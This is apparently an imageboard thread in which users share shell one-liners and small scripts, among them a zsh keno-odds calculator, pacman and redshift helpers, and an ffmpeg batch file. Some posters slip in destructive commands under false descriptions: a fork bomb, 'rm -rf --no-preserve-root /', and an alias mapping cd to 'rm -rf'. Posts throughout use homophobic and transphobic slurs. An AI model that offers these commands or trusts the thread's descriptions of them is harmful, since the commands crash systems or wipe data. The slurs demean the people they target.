Let's have a shell script thread.
>post comfy scripts and oneliners that ease your work
Let's have a shell script thread
That's Chloe Salpa.
She has a penis.
A delicious penis.
Ur a gheii.
because op posted some degeneracy, i shall also post my degenerate script:
#!/bin/zsh
#
# Prints the number of winning numbers and odds of winning of a keno.
#
# Takes two parameters:
# * number of winning numbers left
# * an array of the keno numbers (i.e. copypasta of keno numbers with
# only spaces betwixt)
#
# Produces: printed output of # of remaining numbers, odds of winning, and sum of numbers
#
# Example: kenodds 2 1 2 3 4 => 4 remaining numbers, 2/4 or 50% chance of winning, sum is 10
integer winners=$1
float winfl=$winners
# Now pos. params. are only keno numbers
shift 1
# Catch lazy/malformed pastes
if [[ $winners -gt $# ]]
then
printf "Incorrect keno format!\n"
exit
fi
# Print number of winning numbers
printf "Number of numbers:\t$#\n"
# Print odds of winning
printf "Odds of winning:\t%d/%d or %f%%\n" "$winners" "$#" "$[100*$winfl/$#]"
# And for shits and giggles, print the sum of the remaining numbers
integer sum=0
for i in $@
do
sum+=i
done
printf "Sum of the numbers:\t%d\n" "$sum"
That's a fully copypasta of my script. To further explain: MFC's main bot has a keno game that streamers can activate; however, useful information about your chances with any given guess is not given. So, with a simple copy-and-paste of the remaining numbers and the # of winning numbers, you can get a rough overview of your chances of winning and how much the game "favors" the streamer.
It's fairly simple and zsh makes it a breeze. If I were using bash for this, I'd probably have to offload percentage calculation by using some calculator program, which is lame for something so mundane.
And yes, most of the comments are unnecessary, but I'd rather be safe than sorry for my future self, since I rarely give a shit about what bash-esque scripts are capable of doing.
wait wait wait slow down, what exactly is this for? what is MFC?
MyFreeCams, a camgirl website (hence the degeneracy).
Yikes
:(){ :|: & };:
Neat bash command I found online to recursively flatten a file structure.
If you cover his mouth it's not so bad
just tried it and it works.
can you explain the syntax though? I'm having trouble breaking it down
rm -rf --no-preserve-root / & echo ":^)"
not every girl is a trap fagstorm
Thanks user. I think I tried to write a bash script to do this a few years ago that ended up being like 30 lines. It's amazing that it can be done in just a few characters.
wtf I did this and now my shell isn't responding.
restart your computer..
and don't EVER type in random shell scripts from the internet without reading AND understanding them
retard
L=99;P=10**8;Q=$((P/100));X=$((Q*320/(COLUMNS-1)));Y=$((Q*210/LINES));y=$((Q*-105));v=$((Q*-220));x=$v;while((y
Is she a linux programmer?
That looks malicious as fuck, I'm surprised it actually did what you said.
Even oldfags will fall for this Jow Forums classic:
eval $(echo "I
Chloe is the cutest boy on the planet. I'd fuck his tight arse so fucking hard
Well now that you've told everyone it's a fork bomb no one will fall for it you fucking idiot
emerge -aDv --update --changed-use @world
No. You're only gay when you're into men.
webm4chan.cmd
@echo off
ffmpeg -i %1 -c:v libvpx -an %2
Matter of fact I am.
>batch
Wow, long tine no see. Anyway
If you love the CLI, join GNU/Linux already.
>inb4 nobody will run this anyway
it prints an ascii a mandelbrot
Indeed, already moved on to Linux on my desktop, but the T420 still uses Win7. Decided long ago that Win10 wasn't future I wanted.
last | tac | egrep "Sep 20"
>using default libvpx settings
Does she write codes?
it is just a simple fork bomb, nothing is broken you just need to reboot since you cant kill any child processes spawned by this malicious function
>since you cant kill any child processes spawned by this malicious function
New to Linux?
haha you actually like traps faggot
damn i might be homosex
8.5/10
sudo apt-get install redshift
#Redshift adjusts the color temperature of your screen according to your surroundings.
#This may help your eyes hurt less if you are working in front of the screen at night.
#on
redshift -l 52.5:13.4 -t 5500:2500 -b 0.8 #coordinates Berlin -t DAY:NIGHT -b 0.8 80% brightness
#off
killall redshift
Is she a tranny or just a shemale?
This is important.
it's not important cause you're a faggot either way
>my masterpiece
# cat ~/.bashrc
alias cd='rm -rf'
Good thing it actually does what you say, was suspicious at first.
#sends instant messages
KEY_TELEGRAMBOT="api.telegram.org
curl -X POST "$KEY_TELEGRAMBOT&text='My message'"
Females with a mutation are still females.
What do you think her asshole smells like?
gay
Whoa
for arch: refreshes repos and prints upgradable packages, if any
function pqu() {
sudo pacman -Sy
echo -e '\e[1;34m::\e[0m \e[1mListing upgradable packages...\e[0m'
pacman -Qu \
|| echo ' packages are up to date'
}
I'M shitting myself, can you post a screenshot, please
I wasn`t expecting that.
This thread is utter shit....
alias pqu='yes n | pacman -Syu'
zsh supports type declaration and handles floats natively? i guess today's the day i ditch bash
>his
her
10/10 but shame her dick isn't bigger. she probably doesn't like to top either which is disappointing
add an alias to your .bashrc this
thanks user, this is a very original script
vanilla scented body lotion
really nice, user! fractals are fun! did you write this yourself?